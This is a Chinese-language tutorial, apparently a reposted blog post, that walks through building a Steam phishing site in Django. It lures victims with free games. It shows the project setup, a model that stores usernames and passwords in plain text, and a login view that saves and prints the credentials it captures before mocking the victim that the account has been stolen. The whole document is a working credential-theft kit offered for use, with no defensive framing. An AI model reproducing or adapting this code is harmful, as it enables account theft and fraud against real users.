時間:2023-07-22 05:57:01 | 來源:網站運營
時間:2023-07-22 05:57:01 來源:網站運營
用Python Django搭建簡單一個steam釣魚網站,只要免費領游戲,一釣一個準:pip install django[==版本]
如:pip install django==3.0django-admin startproject steam_web
manage.py是命令文件,如果要運行Django內置的命令,必須要通過這個文件才行python manage.py startapp login
會生成一個login文件,打開文件# Application definition# 網站子應用進行注冊INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'login',]
創(chuàng)建一個templates文件,并修改代碼# templates 文件夾的配置項TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, },]
創(chuàng)建一個templates文件,并修改代碼# templates 文件夾的配置項TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, },]
配置網站默認語言、時間# 網站默認語言 英文 修改成中文LANGUAGE_CODE = 'zh-hans'# 當前時間TIME_ZONE = 'Asia/Shanghai'USE_I18N = TrueUSE_L10N = TrueUSE_TZ = False
最后在刷新網站頁面,就變成了中文STATIC_URL = '/static/'STATICFILES_DIRS = [ os.path.join(BASE_DIR, 'static'),]
from django.db import models# Create your models here.class User(models.Model): name = models.CharField(max_length=20) pwd = models.CharField(max_length=20)
# 渲染html文件到瀏覽器的from django.shortcuts import renderfrom django.views.generic import Viewfrom .models import Userfrom django.http import HttpResponse# Create your views here.# 在瀏覽器中顯示網站首頁def index(request): return render(request, 'index.html')# 登錄類視圖class Login(View): def get(self, request): return render(request, 'denlu.html', locals()) ''' 當用戶在頁面中輸入了一些數據 可以使用post去做接收 ''' def post(self, request): name = request.POST.get('username') pwd = request.POST.get('password') User.objects.create(name=name, pwd=pwd).save() print(name) print(pwd) return HttpResponse('你的賬號已經被盜, 溜了 溜了~')
在urls.py文件里編寫路由from django.contrib import adminfrom django.urls import pathfrom login.views import index, Loginurlpatterns = [ path('admin/', admin.site.urls), path('', index, name='index'), path('login/', Login.as_view(), name='login')]
關鍵詞:免費,游戲,簡單,魚網